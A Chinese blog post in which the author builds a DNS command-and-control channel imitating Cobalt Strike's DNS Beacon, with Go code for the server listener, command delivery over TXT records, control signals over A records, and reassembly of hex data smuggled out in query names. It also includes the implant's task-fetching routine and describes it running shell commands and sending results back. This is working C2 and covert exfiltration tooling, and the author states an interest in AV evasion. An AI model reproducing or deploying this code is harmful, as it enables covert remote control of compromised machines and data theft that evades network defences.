由于代码实在太多了我就不放在文章,我简要地说一下 DNSPut 是用来将数据回传给Server的,这些数据可以是metadata 也可以是任务执行后的结果DNSPut 的主要思路是:

  1. 通过 length 记录数据的总长度, sent 来记录已发送的字节数,当 sent小于length 作为循环条件不断地发送数据。
  2. 按照“贪心策略”榨干每一分长度,预定义了104、84、56、48、40、28、24、20、16、12、8、4字节这12档“套餐”,每次从大到小尝试。
  3. 域名构造:由于档位太多且构造相似,所以我就只介绍104字节时域名的构造。具体做法是定义一个 uint32 类型的 dataz 从带发送数据copy一份固定长度数据到 dataz 数组中,然后按照 %08x 格式化数组中的每一个元素,所谓的 %08x 就是将32位数据按照16进制的格式输出成8个字符,比如说,255 -> 000000ff,详见下图

循环的尾部就是执行DNS查询,见下图

(二)解析回传数据-server

函数调用链如下,实际也是我编写代码的顺序

1
2
3
4
5
ListenerStart
->processRequest
->handleA
->CallbackDataHandler
->processResponse

先用 ListenerStart 启动DNS监听器。processRequest 处理所有类型的DNS查询,而 processResponse 将我们精心构造的DNS响应报文返回给Beacon。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func ListenerStart(addr string) error {  

// 注册DNS查询处理函数,所有查询(无论查询名是什么)都会进入这个闭包函数处理。
dns.HandleFunc(".", func(w dns.ResponseWriter, r *dns.Msg) {

// 创建一个空白的dns报文并把请求头复制进去,保证ID、QR、RD等标志位符合规范。
reply := new(dns.Msg)
reply.SetReply(r)

// 只关心第一条Question,忽略其余。
if len(r.Question) > 0 {

// 由processRequest处理任务获取请求,并生成应答
q := r.Question[0]
rrs := processRequest(q.Name, q.Qtype)
reply.Answer = rrs

}
processResponse(w, reply)
})

// 启动dns服务器监听
server := &dns.Server{Addr: addr, Net: "udp"}
log.Println("[ListenerStart] listening on", addr)
return server.ListenAndServe()
}

processRequest:说是处理所有类型,实际我们只用处理 ATXT 记录查询请求。

  1. 对于查询类型为 TXT 的,我们将Txt字段赋值命令数据。
  2. 对于查询类型为 A 的,我们返回A字段赋值IPv4地址,Ipv4地址的最后一个字节可以从当控制信号。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
func processRequest(qName string, qType uint16) []dns.RR {  
name := strings.ToLower(qName)

switch qType {
case dns.TypeTXT:
return []dns.RR{
&dns.TXT{
Hdr: dns.RR_Header{
Name: name,
Rrtype: dns.TypeTXT,
Class: dns.ClassINET,
Ttl: 30,
},
Txt: []string{currCmd},
},
}

case dns.TypeA:
ip := handleA(name)
return []dns.RR{
&dns.A{
Hdr: dns.RR_Header{
Name: name,
Rrtype: dns.TypeA,
Class: dns.ClassINET,
Ttl: 30,
},
A: ip,
},
}
default:
return nil
}
}

handleA 对于 “www”和”post” 前缀,会进一步调用 CallbackDataHandler 处理回传的数据,而对于“api”前缀,我只返回一个ip作为控制信号,192.168.1.2 的最后一个字节 2 表示要执行 shell 命令。还是那句话我对于这里的控制信号不是很满意,后续有机会还会改进,甚至放弃控制信号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func handleA(name string) net.IP {  
var ip net.IP
fmt.Printf("[handleA] %s\n", name)
parts := strings.Split(strings.TrimSuffix(name, "."), ".")
if len(parts) < 2 {
return net.IPv4(192, 168, 1, 1)
}

switch parts[0] {
case "www", "post":
ip = CallbackDataHandler(parts)
case "api":
ip = net.IPv4(192, 168, 1, 2)
default:
ip = net.IPv4(192, 168, 1, 2)
}
return ip
}

// 全局只读 map,写操作仅发生在首次收 length 时,之后只读
var wwwNoLock = make(map[string]*wwwSession)

type wwwSession struct {
Length int
Data map[int][]byte
}

接下来就是调用 CallbackDataHandler 把客户端通过DNS查询名偷偷带进来的二进制片段重新拼成完整文件。

首先再来看长度和数据域名的格式,方便理解我后续的描述:

  • 长度:www.<lablecount>.<长度>.<reqno+nonce>.<agentid>.<domain>
  • 数据:www.<lablecount>.<hex-seg-1>.<hex-seg-2>...<hex-seg-N>.<reqno+nonce>.<agentid>.<domain>

根据Beacon与Server双方对于域名的约定,提取reqnononce。reqno == 0 → 首包,里面放的是“总长度”。reqno > 0 → 数据包,里面放的是“序号+数据”,reqno从1开始就从当wwwSession.Data的键,单个域名解析得到的数据存放在以reqno为键的map里,这是为了方便后续还原原始数据。

接着获取 lablecount,它的用处表明 lablecount 字段后面的数据用了多少个标签,然后将分散的hex格式的数据拼接起来还原成字节数据。

最后是收齐拼装,当已收字节数 ≥ 首包声明的总长度,即 got >= s.Length 时,服务端把相同 nonce 的片段按 reqno 升序拼在一起并用返回IP 192.168.1.253 告诉客户端“收工”,其实这个控制信号也没用到=。=。

⚠注意:我并未使用到 agentid 字段,如果涉及多Beacon上线,为了区分不同,不同Beacon发送的数据,一定要用到 agentid 字段,具体怎么改又是值得思考的问题……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// 全局只读 map,写操作仅发生在首次收 length 时,之后只读  
var wwwNoLock = make(map[string]*wwwSession)

type wwwSession struct {
Length int
Data map[int][]byte
}

/* ---------- 无锁拼装 ---------- */
func CallbackDataHandler(parts []string) net.IP {

var (
reqno int64
err error
)

// 比如www.1.len.0nonce.agentid.domain 长度包
// 比如www.1.data.0nonce.agentid.domain 数据包
n := len(parts)
if n < 6 {
return net.IPv4(192, 168, 1, 1)
}

// 获取nonceField
nonceField := parts[n-5]
if len(nonceField) < 9 {
return net.IPv4(192, 168, 1, 1)
}

// 获取reqno
reqstr := nonceField[:2]

if reqstr[0] == '0' && len(reqstr) > 1 {
reqno, err = strconv.ParseInt(reqstr[1:2], 16, 32)
if err != nil {
return net.IPv4(192, 168, 1, 1)
}

} else {
reqno, err = strconv.ParseInt(reqstr, 16, 32)
if err != nil {
return net.IPv4(192, 168, 1, 1)
}
}
nonce := nonceField[2:10]

// 首次包:创建会话,一次性写入map,之后只读
if reqno == 0 {
length, err := strconv.ParseInt(parts[2], 16, 32)
if err != nil {
return net.IPv4(192, 168, 1, 1)
}
// 唯一一次写操作,发生在流最开始,并发冲突概率极低
wwwNoLock[nonce] = &wwwSession{
Length: int(length),
Data: make(map[int][]byte),
}
log.Printf("[CallbackDataHandler] new session nonce=%s len=%d\n", nonce, length)
return net.IPv4(192, 168, 1, 1)
} else {
// 数据片:无锁读
s, ok := wwwNoLock[nonce]
if !ok {
return net.IPv4(192, 168, 1, 1)
}

lablecount, err := strconv.Atoi(parts[1])
if err != nil {
return net.IPv4(192, 168, 1, 1)
}

// 拼 hex
hexStr := strings.Join(parts[2:2+lablecount], "")
raw, err := hex.DecodeString(hexStr)
if err != nil {
return net.IPv4(192, 168, 1, 1)
}
s.Data[int(reqno)] = raw
println(reqno)

// 收齐检查
got := 0
for _, v := range s.Data {
got += len(v)
}
println(got)
if got >= s.Length {
keys := make([]int, 0, len(s.Data))
for k := range s.Data {
keys = append(keys, k)
}
sort.Ints(keys)

full := make([]byte, 0, s.Length)
for _, k := range keys {
full = append(full, s.Data[k]...)
}
full = full[:s.Length] // 精确截断

log.Printf("[CallbackDataHandler] session %s finished (%d bytes):\n%s\n", nonce, s.Length, string(full))
delete(wwwNoLock, nonce)
}

return net.IPv4(192, 168, 1, 253)
}
}

processResponse把消息写回客户端

1
2
3
4
5
6
func processResponse(w dns.ResponseWriter, msg *dns.Msg) {  
defer w.Close()
if err := w.WriteMsg(msg); err != nil {
log.Println("[processResponse] write error:", err)
}
}

实际上在到这里Server的代码就编写完成了,代码肯定还有补充和优化的地方,只是时间有限我就不改了。

(三)获取任务、执行任务、回传结果-Beacon

先看主循环里的内容(见下图),代码非常简单:用 DNSGet_TXT 获取控制信号和任务数据,根据控制信号走到不同的处理分支(本文就一个分支),最后将任务数据以post作为前缀的域名调用 DNSPut 将结果回传给服务器。

代码中执行cmd命令获取执行结果作为回传数据,其实也没有什么好讲的,然后DNSPut 上文已经介绍过了,下面重点介绍 DNSGet_TXT

第一:通过以api作为前缀,格式化查询域名的每一个标签获得 c2domain,调用 channelLookupRetry_A 获取控制信号。我这边的控制信号与CS是不同的,我是想将信号值 1~255 都用上,在实际设计的时候没有考虑到多任务同时下发给beacon,导致beacon每次只能获取一个任务。

第二:发TXT查询拿真正的任务数据,把应答里所有TXT段的字符串顺序拼接,单txt段 ≤ 255B,一个 TXT 响应报文可以放置多个txt段,由于本文设置4096B的最大UDPSize,所以一条TXT响应报文只能携带最多4KB的数据,大文件传输还需要实现分片与组装(真的很烦)。

其实除了分片还有一个尚未解决的问题(代码中未实现):当Beacon想一次获取多个任务,还用控制信号来区分不同命令是不合理的,因为一个a记录查询之后要紧接着txt记录查询,不然控制信号与任务数据不对应。我能想到的解决方案是不使用控制信号(不发a记录查询),而是将命令类型(commandid)与任务数据同时放在在txt包里。

还有一点server和beacon传输的数据都是未加密的,如果想加密数据的师傅可以自行实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
func DNSGet_TXT(typeStr, domain, server string) (uint8, []byte) {  
reqno := 0
var (
c2domain string
signal uint8
)
// 生成随机nonce
nonce := rand.Uint32() | (rand.Uint32() << 16)
c2domain = fmt.Sprintf("%s.%x%x.%s", typeStr, reqno, nonce, domain)
signal = channelLookupRetry_A(c2domain, server, 100)

m := new(dns.Msg)
m.SetQuestion(dns.Fqdn(c2domain), dns.TypeTXT)
m.RecursionDesired = true

co, err := net.Dial("udp", server)
if err != nil {
return SIGNAL_DONOTHING, nil
}
defer co.Close()
co.SetDeadline(time.Now().Add(5 * time.Second))

dnsConn := &dns.Conn{Conn: co, UDPSize: 4096}
if err := dnsConn.WriteMsg(m); err != nil {
return SIGNAL_DONOTHING, nil
}
r, err := dnsConn.ReadMsg()
if err != nil {
return SIGNAL_DONOTHING, nil
}
var sb strings.Builder
for _, ans := range r.Answer {
if t, ok := ans.(*dns.TXT); ok {
for _, s := range t.Txt {
sb.WriteString(s)
}
}
}
return signal, []byte(sb.String())
}

我收回开头的那句话,我的dns c2写的真是一坨,食之无味弃之可惜。

(四)实验

执行代码,只看Server的控制台输出

接收metadata。

接收回传结果。

beacon在win10好像不行?不懂哪里出了问题,累了,等哪天有空再说。

五、下一步计划

说实话C2编程有点玩腻了,编码也不是我的强项,我写的代码真是一坨屎,所以想研究点二进制相关的内容,特别想研究免杀相关的,那里才是我的舒适区感觉像回到家一样的亲近感,那里的“一砖一瓦”都让人倍感亲切和兴奋😭。

而且可以遐想(kyxiaxiang)大佬公开了CS Beacon的源码,这里面有太多值得研究东西,也不知道各位师傅想看什么内容呐?我的目标永远不是重构Beacon,而是研究其令人叹为观止的技术,其对抗的哲学思想令我着迷。

还有对大家说一声非常抱歉,由于时间紧迫,技术、经验、以及认知等多方面的不足,导致这篇文章写的不是很满意,有一些内容没有做实验验证,文章中的看法只是个人见解,观点非常狭隘,有不足之处还请各位师傅指出!

各位师傅,都看到这里了,求个点赞、收藏加关注不过分吧?(◍•ᴗ•◍)。我保证下篇文章同样精彩,虽然我没写,不出意外12月底前至少发一篇文章,到时候来个年度总结。

参考资料

  1. sliver/server/c2/mtls.go at master · BishopFox/sliver

  2. sliver/implant/sliver/transports/mtls/mtls.go at master · BishopFox/sliver

  3. HTML5 WebSocket | 菜鸟教程

  4. veo/wsMemShell: WebSocket 内存马/Webshell,一种新型内存马/WebShell技术

  5. 域名解析查询 | DNS查询 | IPv6解析 | 在线dig | IP查询(ipw.cn)

  6. DNS 协议 | 菜鸟教程

  7. DNS报文格式解析(非常详细) - C语言中文网

  8. sliver/server/c2/dns.go at master · BishopFox/sliver

  9. no0be/DNSlivery:通过 DNS 轻松交付文件和有效负载

  10. 奇安信攻防社区-红队工具研究篇 - Sliver C2 通信流量分析

  11. 浅析恶意软件通信技术:基于DoH的C2信道 - FreeBuf网络安全行业门户

  12. SpiderLabs/DoHC2:DoHC2 允许通过 DNS over HTTPS (DoH) 利用 Ryan Hanson (https://github.com/ryhanson/ExternalC2) 的 ExternalC2 库进行命令和控制 (C2)。

  13. 学习 Sliver C2 (05) - 传输详细信息:DNS |文/素

  14. 踩坑记录-DNS Beacon-先知社区

  15. 内网渗透神器CobaltStrike之DNS Beacon(四) - 亨利其实很坏 - 博客园

  16. CS DNS beacon二次开发指北 | Z3ratu1’s blog

  17. Cobalt Strike: 解密DNS流量 – Part 5 - FreeBuf网络安全行业门户

  18. C2隐匿-云函数&域前置-先知社区

  19. 流量对抗-域前置基础设施搭建 | 长亭百川云